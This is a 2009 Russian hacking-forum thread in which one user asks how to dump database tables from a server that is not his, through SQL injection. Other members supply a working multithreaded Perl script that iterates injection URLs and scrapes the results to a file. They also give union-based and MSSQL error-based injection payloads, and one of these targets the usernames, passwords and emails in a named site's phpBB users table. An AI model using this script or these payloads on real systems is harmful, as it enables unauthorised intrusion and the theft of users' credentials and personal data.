PDA

Просмотр полной версии : Терасрочно...Нужен дампер содержимого таблиц.


Велемир
23.02.2009, 14:32
Срочно нужен дампер содержимого таблиц MySql,либо mysql/mssql/n,где n - любая бд кроме MySql.С Велли плюсеги и храм впридачу )

Shadow_p1raT
23.02.2009, 14:43
http://sypex.net/products/dumper/downloads/

Велемир
23.02.2009, 14:46
Эм...Я так понял,что это локальный дампер,а нужен удалённый:(:((типа SIPTа).Извиняюсь за внесённую дизинформацию)

Shadow_p1raT
23.02.2009, 14:50
просто отредактируй в скрипте строчку

// mysql сервер
define('DBHOST', 'localhost:3306');
// Базы данных, если сервер не разрешает просматривать список баз данных,
// и ничего не показывается после авторизации. Перечислите названия через

на нужную тебе

UPD:
ну или вот


http://mentat.sibintercom.ru/Nemo/dump/rst_sql.txt

Велемир
23.02.2009, 14:56
Так я ж не знаю акка от бд =_=.К тому же,она на локалхосте...Установить на сам сервер я не могу её(на удалённый,НЕ мой).Я правильно понял ?

AkyHa_MaTaTa
23.02.2009, 14:57
Ты хочешь через sql-injection сдампить?

Велемир
23.02.2009, 15:02
Да

aka PSIH
23.02.2009, 15:03
ставишь ActivePerl
сохраняешь код в scr.pl

#!/usr/bin/perl

use strict;
use LWP 5.64;
use LWP::UserAgent;
use threads; #( 'exit' => 'threads_only' );

print "\nTest file - ";
open(FH, ">>test") and print '[ok]' or print '[!!]';
close(FH);

if(!(defined(@ARGV))){
usage();
}
else{
start(@ARGV);
}

sub start{
my $sh = 1;
my $repeat = pop @ARGV;
my $maxthreads = pop @ARGV;
my $deflink = pop @ARGV;
my $tmp = 1;
while($repeat--){
my $link;
($link = $deflink) =~ s/_sh_/$sh/;
if($tmp < $maxthreads){
$sh++;
threads->create(\&getr, $link)->detach;
}
else{
$sh++;
threads->create(\&getr, $link)->join;
$tmp = 1;
}
$tmp++;
}
}

sub getr{
my $ua = LWP::UserAgent->new;
$ua->agent("Firefox/2.0");
print "\nUrl in thread: $_[0]";
# my $resp = $ua->get($_[0]);
my $resp = HTTP::Request->new(GET => $_[0]);
# $resp->content_type('application/x-www-form-urlencoded');
my $res = $ua->request($resp);
# print "\nGET - [ok]" if $res->is_success;
# print "\nGET - [!!]" if !$res->is_success;
if($res->content){
# open(FH, ">>content.txt");
# print FH $res->content, "\n\n\n===============================\n\n";
# close(FH);
# my @cont = split(/\n/, $res->content);
my @maillist;
# for (@cont){
if($res->content =~ m/[^']+/){
push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);
print "\nMail: ", join("\n", (m/[^']+/g)), "\n";
}
# }
open(FH, ">>maillist.txt");
for (@maillist){
print FH "$_\n"
}
close(FH);
}
# threads->exit();;
}

sub usage{
print "\n\nCoded by unrealm. for PSIH ;) ICQ: 907912";
print "\nUsage: perl scr.pl link max_threads max_sh";
print "\nExample: perl scr.pl http://example.ru/1.php?a=_sh_&param=12 10 100\n";
exit;
}
Настраиваешь ответы
т.е
push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);

запускешь из cmd
example:
scr.pl "http://site.com/index.php?a=id+union+select+name+from+users+limit+ _sh_,1" 10 999
_sh_ - переменная, скрипт будет её перебирать
10 - число потоков
999 - До скольки перебирать _sh_

Велемир
23.02.2009, 15:15
push @maillist, ($res->content =~ m/nvarchar value '([^']+)' to data/gmi);

Это два ответа или один ? Как это понять ? Например,при существовании таблицы ответ "yes",а при её отсутствии - "no".Как это записать ? Остальное вопросов не вызывает.

ЗЫ: Сам вывод у меня идёт такой:

select username from users where username=тут_вывод

ORDER by t.priority, t.id ASC
(script.php, 369)

Вывод находится в исходниках страницы.

aka PSIH
23.02.2009, 15:21
епт, ну допустим запрос
http://site.com/index.php?if=1+or+1=(select+top+1+table_name+from+ information_schema.tables)--
Возвращает тебе:
Conversion failed when converting the nvarchar value 'Users' to data type int.

Тебе нужно Users, вот и пишешь
nvarchar value ' и ' to data type

ЗЫ: Сам вывод у меня идёт такой: select username from users where username=тут_вывод
Ну вот и смотришь что у тебя слева и справа стоит:
push @maillist, ($res->content =~ m/username=([^']+)то что с права/gmi);

Можно еще так сделать
concat_ws(0x72747274727472,0x3a,username,0x3a,0x72 747274727472)
0x72747274727472 = rtrtrtr
тогда
push @maillist, ($res->content =~ m/rtrtrtr: ([^']+):rtrtrtr/gmi);

Велемир
23.02.2009, 16:03
C:\Documents and Settings\Vlad\Desktop>scr.pl "http://site.ru/script.php?&id=-3910+union+select+1,2,concat_ws(0x3a,username,user
_password,user_mail),4,5,6,7,8,9,10,11,12,13,14,15 ,16,17,18,19+from+lhammer_forum.ph
pbb_users+limit+_sh_,1--" 10 5

Тест фаил создаётся,но пустой.Мэиллист не создаётся.если ставлю вместо 5 999,то пишет scalar leacked: 1 и создаёт также пустой фаил maillist.txt

Не знаю,в чём дело...но в скрипт вписал:

push @maillist, ($res->content =~ m/Unknown column '([^']+)' in 'where clause'/gmi);

Попробую ещё на других сайтах

aka PSIH
24.02.2009, 03:20
мдауж... в элементарном скрипте разобраться не могут, ну и хакеры пошли, привыкли закидывать скуль в программу и смотреть как та её "раскручивает" =\
Вот такой запрос у тебя должен быть:
scr.pl "http://site.ru/script.php?&id=-3910+union+select+1,2,concat_ws(0x72747274727472,0 x3a,username,user
_password,user_mail,0x3a,0x72747274727472),4,5,6,7 ,8,9,10,11,12,13,14,15 ,16,17,18,19+from+lhammer_forum.phpbb_users+limit+ _sh_,1--" 10 5
В скрипте исправь
push @maillist, ($res->content =~ m/rtrtrtr: ([^']+):rtrtrtr/gmi);